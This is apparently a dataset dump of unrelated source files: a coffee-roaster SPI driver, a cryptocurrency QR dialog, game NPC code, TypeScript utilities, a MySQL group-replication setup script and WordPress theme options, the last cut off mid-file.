code
stringlengths
4
1.01M
FROM openjdk:11-jdk-slim RUN mkdir -p /usr/src/restql-http ADD ./dist /usr/src/restql-http WORKDIR /usr/src/restql-http CMD ./bin/run.sh
class AddUserIdToTables < ActiveRecord::Migration def change add_column :parents, :user_id, :integer add_column :teachers, :user_id, :integer add_column :students, :user_id, :integer add_foreign_key :parents, :users add_foreign_key :teachers, :users add_foreign_key :students, :users end end
using CoffeeRoaster.Enums; using Raspberry.IO; using Raspberry.IO.SerialPeripheralInterface; using System; using System.Threading; /********************************************************************************************** * Connections: * TI board RPI B+ * ------------ ------------------ * P1_1 VCC 1 3.3V * P1_7 CLK 23 CLK * P1_8 ADS_CS 26 SPI_CE1 * P2_8 LCD_CS 24 SPI_CE0 * P2_9 LCD_RS 11 GPIO_17_GEN0 * P2_10 LCD_RST 16 GPIO_23 * P2_1 GND 9 GND * P2_6 SIMO 19 MOSI * P2_7 SOMI 21 MISO ************************************************************************************************/ namespace CoffeeRoaster { public class Ti430BoostAds1118Connection : IDisposable, ITi430BoostAds1118Connection { private const int BitsPerWord = 8; private const int SpiSpeed = 3932160; private readonly INativeSpiConnection spi0; private readonly INativeSpiConnection spi1; private readonly IOutputBinaryPin lcdRegisterSelectGpio; // LCD Register Select Signal. RS=0: instruction; RS=1: data private readonly IOutputBinaryPin lcdResetGpio; private readonly Ads1118SingleShot singleShot; private readonly Ads1118ProgrammableGainAmplifier pga; private readonly Ads1118DeviceOperatingMode deviceOperatingMode; private readonly Ads1118DataRate dataRate; private readonly Ads1118PullupEnable pullupEnabled; public Ti430BoostAds1118Connection(INativeSpiConnection spi0, INativeSpiConnection spi1, IOutputBinaryPin lcdRegisterSelectGpio, IOutputBinaryPin lcdResetGpio) { this.singleShot = Ads1118SingleShot.SingleShot; this.pga = Ads1118ProgrammableGainAmplifier.TwoFiveSix; this.deviceOperatingMode = Ads1118DeviceOperatingMode.PowerDownSingleShotMode; this.dataRate = Ads1118DataRate.OneTwoEight; this.pullupEnabled = Ads1118PullupEnable.PullupEnabled; this.spi0 = spi0; this.spi1 = spi1; this.lcdRegisterSelectGpio = lcdRegisterSelectGpio; this.lcdResetGpio = lcdResetGpio; this.lcdRegisterSelectGpio.Write(true); this.lcdResetGpio.Write(true); } public void DelayMicroSeconds(int milliSeconds) { Thread.Sleep(milliSeconds); //var microsecondTimeSpan = TimeSpanUtility.FromMicroseconds(Convert.ToDouble(microSeconds)); //Raspberry.Timers.Timer.Sleep(microsecondTimeSpan); } public void InitializeLcd() { this.lcdRegisterSelectGpio.Write(true); this.WriteCommandToLcd(LcdCommand.WakeUp); this.WriteCommandToLcd(LcdCommand.FunctionSet); this.WriteCommandToLcd(LcdCommand.InternalOscFrequency); this.WriteCommandToLcd(LcdCommand.PowerControl); this.WriteCommandToLcd(LcdCommand.FollowerControl); this.WriteCommandToLcd(LcdCommand.Contrast); this.WriteCommandToLcd(LcdCommand.DisplayOn); this.WriteCommandToLcd(LcdCommand.EntryMode); this.WriteCommandToLcd(LcdCommand.Clear); this.DelayMicroSeconds(20); } public void WriteCommandToLcd(LcdCommand command) { this.lcdRegisterSelectGpio.Write(false); var ret = 0; using (var transferBuffer = this.spi0.CreateTransferBuffer(1, SpiTransferMode.ReadWrite)) { transferBuffer.Tx[0] = Convert.ToByte(command); transferBuffer.Delay = 0; transferBuffer.Speed = SpiSpeed; transferBuffer.BitsPerWord = BitsPerWord; transferBuffer.ChipSelectChange = false; ret = this.spi0.Transfer(transferBuffer); } if (ret < 0) { Console.WriteLine(string.Format("Error performing SPI Exchange: {0}", Console.Error.ToString())); Environment.Exit(1); } } public void WriteDataToLcd(char c) { this.lcdRegisterSelectGpio.Write(true); var ret = 0; using (var transferBuffer = this.spi0.CreateTransferBuffer(1, SpiTransferMode.ReadWrite)) { transferBuffer.Tx[0] = Convert.ToByte(c); transferBuffer.Delay = 0; transferBuffer.Speed = SpiSpeed; transferBuffer.BitsPerWord = BitsPerWord; transferBuffer.ChipSelectChange = false; ret = this.spi0.Transfer(transferBuffer); } if (ret < 0) { Console.WriteLine(string.Format("Error performing SPI exchange: {0}", Console.Error.ToString())); Environment.Exit(1); } } public void ClearLcd() { this.WriteCommandToLcd(LcdCommand.Clear); this.DelayMicroSeconds(2); this.WriteCommandToLcd(LcdCommand.ZeroTwo); this.DelayMicroSeconds(2); } public void DisplayStringOnLcd(LcdLine line, string displayString) { switch (line) { case LcdLine.SecondLine: this.WriteCommandToLcd(LcdCommand.LcdSecondLine); break; case LcdLine.FirstLine: default: this.WriteCommandToLcd(LcdCommand.LcdFirstLine); break; } foreach (char stringCharacter in displayString) { this.WriteDataToLcd(stringCharacter); } } public double GetMeasurement() { ThermTransact(Ads1118TemperatureSensorMode.InternalSensor, Ads1118InputMultiplexer.Ain0Ain1); // start internal sensor measurement DelayMicroSeconds(10); int localData = ThermTransact(Ads1118TemperatureSensorMode.ExternalSignal, Ads1118InputMultiplexer.Ain0Ain1); // read internal sensor measurement and start external sensor measurement DelayMicroSeconds(10); int result = ThermTransact(Ads1118TemperatureSensorMode.ExternalSignal, Ads1118InputMultiplexer.Ain0Ain1); // read external sensor measurement and restart external sensor measurement int localComp = LocalCompensation(localData); result = result + localComp; result = result & 0xffff; result = AdcCode2Temp(result); double resultD = Convert.ToDouble(result) / 10; return resultD; } public int LocalCompensation(int localCode) { float tmp; float local_temp; int comp; localCode = localCode / 4; local_temp = (float)localCode / 32; // if (local_temp >= 0 && local_temp <= 5) //0~5 { tmp = (0x0019 * local_temp) / 5; comp = Convert.ToInt32(tmp); } else if (local_temp > 5 && local_temp <= 10) //5~10 { tmp = ((0x001A * (local_temp - 5)) / 5) + 0x0019; comp = Convert.ToInt32(tmp); } else if (local_temp > 10 && local_temp <= 20) //10~20 { tmp = ((0x0033 * (local_temp - 10)) / 10) + 0x0033; comp = Convert.ToInt32(tmp); } else if (local_temp > 20 && local_temp <= 30) //20~30 { tmp = ((0x0034 * (local_temp - 20)) / 10) + 0x0066; comp = Convert.ToInt32(tmp); } else if (local_temp > 30 && local_temp <= 40) //30~40 { tmp = ((0x0034 * (local_temp - 30)) / 10) + 0x009A; comp = Convert.ToInt32(tmp); } else if (local_temp > 40 && local_temp <= 50) //40~50 { tmp = ((0x0035 * (local_temp - 40)) / 10) + 0x00CE; comp = Convert.ToInt32(tmp); } else if (local_temp > 50 && local_temp <= 60) //50~60 { tmp = ((0x0035 * (local_temp - 50)) / 10) + 0x0103; comp = Convert.ToInt32(tmp); } else if (local_temp > 60 && local_temp <= 80) //60~80 { tmp = ((0x006A * (local_temp - 60)) / 20) + 0x0138; comp = Convert.ToInt32(tmp); } else if (local_temp > 80 && local_temp <= 125)//80~125 { tmp = ((0x00EE * (local_temp - 80)) / 45) + 0x01A2; comp = Convert.ToInt32(tmp); } else { comp = 0; } return comp; } public int AdcCode2Temp(int code) { float temp; int t; temp = (float)code; if (code > 0xFF6C && code <= 0xFFB5) //-30~-15 { temp = ((float)(15 * (temp - 0xFF6C)) / 0x0049) - 30.0f; } else if (code > 0xFFB5 && code <= 0xFFFF) //-15~0 { temp = ((float)(15 * (temp - 0xFFB5)) / 0x004B) - 15.0f; } else if (code >= 0 && code <= 0x0019) //0~5 { temp = (float)(5 * (temp - 0)) / 0x0019; } else if (code > 0x0019 && code <= 0x0033) //5~10 { temp = ((float)(5 * (temp - 0x0019)) / 0x001A) + 5.0f; } else if (code > 0x0033 && code <= 0x0066) //10~20 { temp = ((float)(10 * (temp - 0x0033)) / 0x0033) + 10.0f; } else if (code > 0x0066 && code <= 0x009A) //20~30 { temp = ((float)(10 * (temp - 0x0066)) / 0x0034) + 20.0f; } else if (code > 0x009A && code <= 0x00CE) //30~40 { temp = ((float)(10 * (temp - 0x009A)) / 0x0034) + 30.0f; } else if (code > 0x00CE && code <= 0x0103) //40~50 { temp = ((float)(10 * (temp - 0x00CE)) / 0x0035) + 40.0f; } else if (code > 0x0103 && code <= 0x0138) //50~60 { temp = ((float)(10 * (temp - 0x0103)) / 0x0035) + 50.0f; } else if (code > 0x0138 && code <= 0x01A2) //60~80 { temp = ((float)(20 * (temp - 0x0138)) / 0x006A) + 60.0f; } else if (code > 0x01A2 && code <= 0x020C) //80~100 { temp = ((float)((temp - 0x01A2) * 20) / 0x06A) + 80.0f; } else if (code > 0x020C && code <= 0x02DE) //100~140 { temp = ((float)((temp - 0x020C) * 40) / 0x0D2) + 100.0f; } else if (code > 0x02DE && code <= 0x03AC) //140~180 { temp = ((float)((temp - 0x02DE) * 40) / 0x00CE) + 140.0f; } else if (code > 0x03AC && code <= 0x0478) //180~220 { temp = ((float)((temp - 0x03AB) * 40) / 0x00CD) + 180.0f; } else if (code > 0x0478 && code <= 0x0548) //220~260 { temp = ((float)((temp - 0x0478) * 40) / 0x00D0) + 220.0f; } else if (code > 0x0548 && code <= 0x061B) //260~300 { temp = ((float)((temp - 0x0548) * 40) / 0x00D3) + 260.0f; } else if (code > 0x061B && code <= 0x06F2) //300~340 { temp = ((float)((temp - 0x061B) * 40) / 0x00D7) + 300.0f; } else if (code > 0x06F2 && code <= 0x07C7) //340~400 { temp = ((float)((temp - 0x06F2) * 40) / 0x00D5) + 340.0f; } else if (code > 0x07C7 && code <= 0x089F) //380~420 { temp = ((float)((temp - 0x07C7) * 40) / 0x00D8) + 380.0f; } else if (code > 0x089F && code <= 0x0978) //420~460 { temp = ((float)((temp - 0x089F) * 40) / 0x00D9) + 420.0f; } else if (code > 0x0978 && code <= 0x0A52) //460~500 { temp = ((float)((temp - 0x0978) * 40) / 0x00DA) + 460.0f; } else { temp = 0xA5A5; } t = (int)(10 * temp); return t; } public int ThermTransact(Ads1118TemperatureSensorMode mode, Ads1118InputMultiplexer channel) { int ret; using (var transferBuffer = this.spi1.CreateTransferBuffer(4, SpiTransferMode.ReadWrite)) { if (mode == Ads1118TemperatureSensorMode.ExternalSignal && channel == Ads1118InputMultiplexer.Ain0Ain1) { transferBuffer.Tx[0] = Convert.ToByte(0x8b); transferBuffer.Tx[1] = Convert.ToByte(0x8a); transferBuffer.Tx[2] = Convert.ToByte(0x8b); transferBuffer.Tx[3] = Convert.ToByte(0x8a); } else if (mode == Ads1118TemperatureSensorMode.InternalSensor && channel == Ads1118InputMultiplexer.Ain0Ain1) { transferBuffer.Tx[0] = Convert.ToByte(0x8b); transferBuffer.Tx[1] = Convert.ToByte(0x9a); transferBuffer.Tx[2] = Convert.ToByte(0x8b); transferBuffer.Tx[3] = Convert.ToByte(0x9a); } Console.Write("sending [{0} {1} {2} {3}]. ", transferBuffer.Tx[0].ToString("x2"), transferBuffer.Tx[1].ToString("x2"), transferBuffer.Tx[2].ToString("x2"), transferBuffer.Tx[3].ToString("x2")); transferBuffer.Delay = 0; transferBuffer.Speed = SpiSpeed; transferBuffer.BitsPerWord = BitsPerWord; transferBuffer.ChipSelectChange = false; ret = this.spi1.Transfer(transferBuffer); if (ret < 0) { Console.WriteLine("Error performing SPI exchange: {0}", Console.Error.ToString()); Environment.Exit(1); } ret = 0; Console.WriteLine("received [{0} {1} {2} {3}]", transferBuffer.Rx[0].ToString("x2"), transferBuffer.Rx[1].ToString("x2"), transferBuffer.Rx[2].ToString("x2"), transferBuffer.Rx[3].ToString("x2")); ret = transferBuffer.Rx[0]; ret = ret << 8; ret = ret | transferBuffer.Rx[1]; } return ret; } public void Dispose() { this.Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { this.spi0?.Dispose(); this.spi1?.Dispose(); this.lcdRegisterSelectGpio?.Dispose(); this.lcdResetGpio?.Dispose(); } } public byte[] GetConfiguration(Ads1118TemperatureSensorMode mode, Ads1118InputMultiplexer channel) { var config = new byte[2]; switch (this.singleShot) { case Ads1118SingleShot.NoEffect: config[0] = 0; break; case Ads1118SingleShot.SingleShot: default: config[0] = 1; break; } switch (channel) { case Ads1118InputMultiplexer.Ain0Ain1: default: config[1] = 0; config[2] = 0; config[3] = 0; break; case Ads1118InputMultiplexer.Ain0Ain3: config[1] = 0; config[2] = 0; config[3] = 1; break; case Ads1118InputMultiplexer.Ain1Ain3: config[1] = 0; config[2] = 1; config[3] = 0; break; case Ads1118InputMultiplexer.Ain2Ain3: config[1] = 0; config[2] = 1; config[3] = 1; break; case Ads1118InputMultiplexer.Ain0Gnd: config[1] = 1; config[2] = 0; config[3] = 0; break; case Ads1118InputMultiplexer.Ain1Gnd: config[1] = 1; config[2] = 0; config[3] = 1; break; case Ads1118InputMultiplexer.Ain2Gnd: config[1] = 1; config[2] = 1; config[3] = 0; break; case Ads1118InputMultiplexer.Ain3Gnd: config[1] = 1; config[2] = 1; config[3] = 1; break; } return config; } } }
#include "qrcodedialog.h" #include "ui_qrcodedialog.h" #include "bitcoinunits.h" #include "guiconstants.h" #include "guiutil.h" #include "optionsmodel.h" #include <QPixmap> #include <QUrl> #include <qrencode.h> QRCodeDialog::QRCodeDialog(const QString &addr, const QString &label, bool enableReq, QWidget *parent) : QDialog(parent), ui(new Ui::QRCodeDialog), model(0), address(addr) { ui->setupUi(this); setWindowTitle(QString("%1").arg(address)); ui->chkReqPayment->setVisible(enableReq); ui->lblAmount->setVisible(enableReq); ui->lnReqAmount->setVisible(enableReq); ui->lnLabel->setText(label); ui->btnSaveAs->setEnabled(false); genCode(); } QRCodeDialog::~QRCodeDialog() { delete ui; } void QRCodeDialog::setModel(OptionsModel *model) { this->model = model; if (model) connect(model, SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit())); // update the display unit, to not use the default ("BTC") updateDisplayUnit(); } void QRCodeDialog::genCode() { QString uri = getURI(); if (uri != "") { ui->lblQRCode->setText(""); QRcode *code = QRcode_encodeString(uri.toUtf8().constData(), 0, QR_ECLEVEL_L, QR_MODE_8, 1); if (!code) { ui->lblQRCode->setText(tr("Error encoding URI into QR Code.")); return; } myImage = QImage(code->width + 8, code->width + 8, QImage::Format_RGB32); myImage.fill(0xffffff); unsigned char *p = code->data; for (int y = 0; y < code->width; y++) { for (int x = 0; x < code->width; x++) { myImage.setPixel(x + 4, y + 4, ((*p & 1) ? 0x0 : 0xffffff)); p++; } } QRcode_free(code); ui->lblQRCode->setPixmap(QPixmap::fromImage(myImage).scaled(300, 300)); ui->outUri->setPlainText(uri); } } QString QRCodeDialog::getURI() { QString ret = QString("altcommunitycoin:%1").arg(address); int paramCount = 0; ui->outUri->clear(); if (ui->chkReqPayment->isChecked()) { if (ui->lnReqAmount->validate()) { // even if we allow a non BTC unit input in lnReqAmount, we generate the URI with BTC as unit (as defined in BIP21) ret += QString("?amount=%1").arg(BitcoinUnits::format(BitcoinUnits::BTC, ui->lnReqAmount->value())); paramCount++; } else { ui->btnSaveAs->setEnabled(false); ui->lblQRCode->setText(tr("The entered amount is invalid, please check.")); return QString(""); } } if (!ui->lnLabel->text().isEmpty()) { QString lbl(QUrl::toPercentEncoding(ui->lnLabel->text())); ret += QString("%1label=%2").arg(paramCount == 0 ? "?" : "&").arg(lbl); paramCount++; } if (!ui->lnMessage->text().isEmpty()) { QString msg(QUrl::toPercentEncoding(ui->lnMessage->text())); ret += QString("%1message=%2").arg(paramCount == 0 ? "?" : "&").arg(msg); paramCount++; } // limit URI length to prevent a DoS against the QR-Code dialog if (ret.length() > MAX_URI_LENGTH) { ui->btnSaveAs->setEnabled(false); ui->lblQRCode->setText(tr("Resulting URI too long, try to reduce the text for label / message.")); return QString(""); } ui->btnSaveAs->setEnabled(true); return ret; } void QRCodeDialog::on_lnReqAmount_textChanged() { genCode(); } void QRCodeDialog::on_lnLabel_textChanged() { genCode(); } void QRCodeDialog::on_lnMessage_textChanged() { genCode(); } void QRCodeDialog::on_btnSaveAs_clicked() { QString fn = GUIUtil::getSaveFileName(this, tr("Save QR Code"), QString(), tr("PNG Images (*.png)")); if (!fn.isEmpty()) myImage.scaled(EXPORT_IMAGE_SIZE, EXPORT_IMAGE_SIZE).save(fn); } void QRCodeDialog::on_chkReqPayment_toggled(bool fChecked) { if (!fChecked) // if chkReqPayment is not active, don't display lnReqAmount as invalid ui->lnReqAmount->setValid(true); genCode(); } void QRCodeDialog::updateDisplayUnit() { if (model) { // Update lnReqAmount with the current unit ui->lnReqAmount->setDisplayUnit(model->getDisplayUnit()); } }
//========= Copyright © 1996-2005, Valve Corporation, All rights reserved. ============// // // Purpose: // // $NoKeywords: $ //=============================================================================// #include "cbase.h" #include "c_AI_BaseNPC.h" #include "engine/IVDebugOverlay.h" #ifdef HL2_DLL #include "c_basehlplayer.h" #endif #include "death_pose.h" // memdbgon must be the last include file in a .cpp file!!! #include "tier0/memdbgon.h" IMPLEMENT_CLIENTCLASS_DT( C_AI_BaseNPC, DT_AI_BaseNPC, CAI_BaseNPC ) RecvPropInt( RECVINFO( m_lifeState ) ), RecvPropBool( RECVINFO( m_bPerformAvoidance ) ), RecvPropBool( RECVINFO( m_bIsMoving ) ), RecvPropBool( RECVINFO( m_bFadeCorpse ) ), RecvPropInt( RECVINFO ( m_iDeathPose) ), RecvPropInt( RECVINFO( m_iDeathFrame) ), RecvPropInt( RECVINFO( m_iSpeedModRadius ) ), RecvPropInt( RECVINFO( m_iSpeedModSpeed ) ), RecvPropInt( RECVINFO( m_bSpeedModActive ) ), RecvPropBool( RECVINFO( m_bImportanRagdoll ) ), END_RECV_TABLE() extern ConVar cl_npc_speedmod_intime; bool NPC_IsImportantNPC( C_BaseAnimating *pAnimating ) { C_AI_BaseNPC *pBaseNPC = dynamic_cast < C_AI_BaseNPC* > ( pAnimating ); if ( pBaseNPC == NULL ) return false; return pBaseNPC->ImportantRagdoll(); } C_AI_BaseNPC::C_AI_BaseNPC() { } //----------------------------------------------------------------------------- // Makes ragdolls ignore npcclip brushes //----------------------------------------------------------------------------- unsigned int C_AI_BaseNPC::PhysicsSolidMaskForEntity( void ) const { // This allows ragdolls to move through npcclip brushes if ( !IsRagdoll() ) { return MASK_NPCSOLID; } return MASK_SOLID; } void C_AI_BaseNPC::ClientThink( void ) { BaseClass::ClientThink(); #ifdef HL2_DLL C_BaseHLPlayer *pPlayer = dynamic_cast<C_BaseHLPlayer*>( C_BasePlayer::GetLocalPlayer() ); if ( ShouldModifyPlayerSpeed() == true ) { if ( pPlayer ) { float flDist = (GetAbsOrigin() - pPlayer->GetAbsOrigin()).LengthSqr(); if ( flDist <= GetSpeedModifyRadius() ) { if ( pPlayer->m_hClosestNPC ) { if ( pPlayer->m_hClosestNPC != this ) { float flDistOther = (pPlayer->m_hClosestNPC->GetAbsOrigin() - pPlayer->GetAbsOrigin()).Length(); //If I'm closer than the other NPC then replace it with myself. if ( flDist < flDistOther ) { pPlayer->m_hClosestNPC = this; pPlayer->m_flSpeedModTime = gpGlobals->curtime + cl_npc_speedmod_intime.GetFloat(); } } } else { pPlayer->m_hClosestNPC = this; pPlayer->m_flSpeedModTime = gpGlobals->curtime + cl_npc_speedmod_intime.GetFloat(); } } } } #endif // HL2_DLL } void C_AI_BaseNPC::OnDataChanged( DataUpdateType_t type ) { BaseClass::OnDataChanged( type ); if ( ShouldModifyPlayerSpeed() == true ) { SetNextClientThink( CLIENT_THINK_ALWAYS ); } } void C_AI_BaseNPC::GetRagdollCurSequence( matrix3x4_t *curBones, float flTime ) { GetRagdollCurSequenceWithDeathPose( this, curBones, flTime, m_iDeathPose, m_iDeathFrame ); }
declare module "fscreen" { namespace fscreen { export const fullscreenEnabled: boolean; export const fullscreenElement: Element | null; export const requestFullscreen: (elem: Element) => void; export const requestFullscreenFunction: (elem: Element) => () => void; export const exitFullscreen: () => void; export let onfullscreenchange: Function; export const addEventListener: ( event: "fullscreenchange" | "fullscreenerror", handler: () => void, options?: any, ) => void; export const removeEventListener: (event: "fullscreenchange" | "fullscreenerror", handler: () => void) => void; export let onfullscreenerror: Function; } export default fscreen; }
import { lstatSync } from 'fs'; import { sep } from 'path'; const reNormalize = sep !== '/' ? new RegExp(sep.replace(/\\/g, '\\\\'), 'g') : null; import logUtils from '../utils/log-utils'; const log = logUtils.log; const normalizePath = function(path: string): string { if (reNormalize) { path = path.replace(reNormalize, '/'); } return path; } const createFileTestFunc = function(absolutePaths: string[], debugStr?: string): (path: string) => boolean { debugStr = debugStr || ''; const reTest = absolutePaths.map(function(absolutePath) { return new RegExp('^' + absolutePath.replace(/\./g, '\\.') + '$'); }); return function(path: string): boolean { path = normalizePath(path); for (var i = 0, size = reTest.length; i < size; ++i) { var re = reTest[i]; if (re.test(path)) { log('\ttest'+debugStr+': ', path); //DEBUG return true; }; } return false; }; } const isDirectory = function(path: string): boolean { return lstatSync(path).isDirectory(); } export = { normalizePath: normalizePath, createFileTestFunc: createFileTestFunc, isDirectory: isDirectory };
#!/bin/bash # SERVER_ID=$1 USER_NAME=rpl_user PASSWORD=password CONNECT_FROM=% #CONNECT_FROM=172.17.0.0/255.255.255.0 SERVER_ADDRESS=`hostname -i` GROUP_SEED=$1 SINGLE_PRIMARY_MODE=$2 if [ "${SINGLE_PRIMARY_MODE}" = "" ]; then SINGLE_PRIMARY_MODE=on fi # perl -wpi -e 's!server_id = .+!server_id = '${SERVER_ID}'!' /etc/mysql/mysql.conf.d/mysqld.cnf perl -wpi -e 's!loose-group_replication_local_address = ".+"!loose-group_replication_local_address = "'${SERVER_ADDRESS}':24901"!' /etc/mysql/mysql.conf.d/mysqld.cnf perl -wpi -e 's!loose-group_replication_group_seeds = "127.0.0.1:24901"!loose-group_replication_group_seeds = "'${GROUP_SEED}'"!' /etc/mysql/mysql.conf.d/mysqld.cnf perl -wpi -e 's!loose-group_replication_single_primary_mode = .+!loose-group_replication_single_primary_mode = '${SINGLE_PRIMARY_MODE}'!' /etc/mysql/mysql.conf.d/mysqld.cnf perl -wpi -e 's!report-host = ".+"!report-host = "'${SERVER_ADDRESS}'"!' /etc/mysql/mysql.conf.d/mysqld.cnf pgrep mysqld | xargs kill sleep 10 /usr/sbin/mysqld & sleep 3 SQL_INITIAL=$(cat <<EOS SET SQL_LOG_BIN=0; CREATE USER ${USER_NAME}@'${CONNECT_FROM}' IDENTIFIED BY '${PASSWORD}'; GRANT REPLICATION SLAVE ON *.* TO ${USER_NAME}@'${CONNECT_FROM}'; FLUSH PRIVILEGES; SET SQL_LOG_BIN=1; CHANGE MASTER TO MASTER_USER='${USER_NAME}', MASTER_PASSWORD='${PASSWORD}' FOR CHANNEL 'group_replication_recovery'; INSTALL PLUGIN group_replication SONAME 'group_replication.so'; SHOW PLUGINS; EOS ) mysql -uroot -e "${SQL_INITIAL}" mysql -u${USER_NAME} -p${PASSWORD} -e 'exit' # must? SQL_START_REPLICATION=$(cat <<EOS SET GLOBAL group_replication_bootstrap_group=ON; START GROUP_REPLICATION; SET GLOBAL group_replication_bootstrap_group=OFF; EOS ) mysql -uroot -e "${SQL_START_REPLICATION}" sleep 3 SQL_CONFIRM_MEMBERS=$(cat <<EOS SELECT * FROM performance_schema.replication_group_members; EOS ) mysql -uroot -p${ROOT_PASSWORD} -h`hostname -i` -e "${SQL_CONFIRM_MEMBERS}"
<?php global $uncode_colors, $uncode_colors_w_transp; $flat_uncode_colors = array(); if (!empty($uncode_colors)) { foreach ($uncode_colors as $key => $value) { $flat_uncode_colors[$value[1]] = $value[0]; } } $units = array( '1/12' => '1', '2/12' => '2', '3/12' => '3', '4/12' => '4', '5/12' => '5', '6/12' => '6', '7/12' => '7', '8/12' => '8', '9/12' => '9', '10/12' => '10', '11/12' => '11', '12/12' => '12', ); $size_arr = array( esc_html__('Standard', 'uncode') => '', esc_html__('Small', 'uncode') => 'btn-sm', esc_html__('Large', 'uncode') => 'btn-lg', esc_html__('Extra-Large', 'uncode') => 'btn-xl', esc_html__('Button link', 'uncode') => 'btn-link', esc_html__('Standard link', 'uncode') => 'link', ); $icon_sizes = array( esc_html__('Standard', 'uncode') => '', esc_html__('2x', 'uncode') => 'fa-2x', esc_html__('3x', 'uncode') => 'fa-3x', esc_html__('4x', 'uncode') => 'fa-4x', esc_html__('5x', 'uncode') => 'fa-5x', ); $heading_semantic = array( esc_html__('h1', 'uncode') => 'h1', esc_html__('h2', 'uncode') => 'h2', esc_html__('h3', 'uncode') => 'h3', esc_html__('h4', 'uncode') => 'h4', esc_html__('h5', 'uncode') => 'h5', esc_html__('h6', 'uncode') => 'h6', esc_html__('p', 'uncode') => 'p', esc_html__('div', 'uncode') => 'div' ); $heading_size = array( esc_html__('Default CSS', 'uncode') => '', esc_html__('h1', 'uncode') => 'h1', esc_html__('h2', 'uncode') => 'h2', esc_html__('h3', 'uncode') => 'h3', esc_html__('h4', 'uncode') => 'h4', esc_html__('h5', 'uncode') => 'h5', esc_html__('h6', 'uncode') => 'h6', ); $font_sizes = (function_exists('ot_get_option')) ? ot_get_option('_uncode_heading_font_sizes') : array(); if (!empty($font_sizes)) { foreach ($font_sizes as $key => $value) { $heading_size[$value['title']] = $value['_uncode_heading_font_size_unique_id']; } } $heading_size[esc_html__('BigText', 'uncode')] = 'bigtext'; $font_heights = (function_exists('ot_get_option')) ? ot_get_option('_uncode_heading_font_heights') : array(); $heading_height = array( esc_html__('Default CSS', 'uncode') => '', ); if (!empty($font_heights)) { foreach ($font_heights as $key => $value) { $heading_height[$value['title']] = $value['_uncode_heading_font_height_unique_id']; } } $font_spacings = (function_exists('ot_get_option')) ? ot_get_option('_uncode_heading_font_spacings') : array(); $heading_space = array( esc_html__('Default CSS', 'uncode') => '', ); if (!empty($font_spacings)) { foreach ($font_spacings as $key => $value) { $heading_space[$value['title']] = $value['_uncode_heading_font_spacing_unique_id']; } } if (isset($fonts) && is_array($fonts)) { foreach ($fonts as $key => $value) { $heading_font[$value['title']] = $value['_uncode_font_group_unique_id']; } } $fonts = (function_exists('ot_get_option')) ? ot_get_option('_uncode_font_groups') : array(); $heading_font = array( esc_html__('Default CSS', 'uncode') => '', ); if (isset($fonts) && is_array($fonts)) { foreach ($fonts as $key => $value) { $heading_font[$value['title']] = $value['_uncode_font_group_unique_id']; } } $heading_weight = array( esc_html__('Default CSS', 'uncode') => '', esc_html__('100', 'uncode') => 100, esc_html__('200', 'uncode') => 200, esc_html__('300', 'uncode') => 300, esc_html__('400', 'uncode') => 400, esc_html__('500', 'uncode') => 500, esc_html__('600', 'uncode') => 600, esc_html__('700', 'uncode') => 700, esc_html__('800', 'uncode') => 800, esc_html__('900', 'uncode') => 900, ); $target_arr = array( esc_html__('Same window', 'uncode') => '_self', esc_html__('New window', 'uncode') => "_blank" ); $border_style = array( esc_html__('None', 'uncode') => '', esc_html__('Solid', 'uncode') => 'solid', esc_html__('Dotted', 'uncode') => 'dotted', esc_html__('Dashed', 'uncode') => 'dashed', esc_html__('Double', 'uncode') => 'double', esc_html__('Groove', 'uncode') => 'groove', esc_html__('Ridge', 'uncode') => 'ridge', esc_html__('Inset', 'uncode') => 'inset', esc_html__('Outset', 'uncode') => 'outset', esc_html__('Initial', 'uncode') => 'initial', esc_html__('Inherit', 'uncode') => 'inherit', ); $add_css_animation = array( 'type' => 'dropdown', 'heading' => esc_html__('Animation', 'uncode') , 'param_name' => 'css_animation', 'admin_label' => true, 'value' => array( esc_html__('No', 'uncode') => '', esc_html__('Opacity', 'uncode') => 'alpha-anim', esc_html__('Zoom in', 'uncode') => 'zoom-in', esc_html__('Zoom out', 'uncode') => 'zoom-out', esc_html__('Top to bottom', 'uncode') => 'top-t-bottom', esc_html__('Bottom to top', 'uncode') => 'bottom-t-top', esc_html__('Left to right', 'uncode') => 'left-t-right', esc_html__('Right to left', 'uncode') => 'right-t-left', ) , 'group' => esc_html__('Animation', 'uncode') , 'description' => esc_html__('Specify the entrance animation.', 'uncode') ); $add_animation_delay = array( 'type' => 'dropdown', 'heading' => esc_html__('Animation delay', 'uncode') , 'param_name' => 'animation_delay', 'value' => array( esc_html__('None', 'uncode') => '', esc_html__('ms 100', 'uncode') => 100, esc_html__('ms 200', 'uncode') => 200, esc_html__('ms 300', 'uncode') => 300, esc_html__('ms 400', 'uncode') => 400, esc_html__('ms 500', 'uncode') => 500, esc_html__('ms 600', 'uncode') => 600, esc_html__('ms 700', 'uncode') => 700, esc_html__('ms 800', 'uncode') => 800, esc_html__('ms 900', 'uncode') => 900, esc_html__('ms 1000', 'uncode') => 1000, esc_html__('ms 1100', 'uncode') => 1100, esc_html__('ms 1200', 'uncode') => 1200, esc_html__('ms 1300', 'uncode') => 1300, esc_html__('ms 1400', 'uncode') => 1400, esc_html__('ms 1500', 'uncode') => 1500, esc_html__('ms 1600', 'uncode') => 1600, esc_html__('ms 1700', 'uncode') => 1700, esc_html__('ms 1800', 'uncode') => 1800, esc_html__('ms 1900', 'uncode') => 1900, esc_html__('ms 2000', 'uncode') => 2000, ) , 'group' => esc_html__('Animation', 'uncode') , 'description' => esc_html__('Specify the entrance animation delay in milliseconds.', 'uncode') , 'admin_label' => true, 'dependency' => array( 'element' => 'css_animation', 'not_empty' => true ) ); $add_animation_speed = array( 'type' => 'dropdown', 'heading' => esc_html__('Animation speed', 'uncode') , 'param_name' => 'animation_speed', 'admin_label' => true, 'value' => array( esc_html__('Default (400)', 'uncode') => '', esc_html__('ms 100', 'uncode') => 100, esc_html__('ms 200', 'uncode') => 200, esc_html__('ms 300', 'uncode') => 300, esc_html__('ms 400', 'uncode') => 400, esc_html__('ms 500', 'uncode') => 500, esc_html__('ms 600', 'uncode') => 600, esc_html__('ms 700', 'uncode') => 700, esc_html__('ms 800', 'uncode') => 800, esc_html__('ms 900', 'uncode') => 900, esc_html__('ms 1000', 'uncode') => 1000, ) , 'group' => esc_html__('Animation', 'uncode') , 'description' => esc_html__('Specify the entrance animation speed in milliseconds.', 'uncode') , 'dependency' => array( 'element' => 'css_animation', 'not_empty' => true ) ); $add_background_repeat = array( 'type' => 'dropdown', 'heading' => '', 'description' => wp_kses(__('Define the 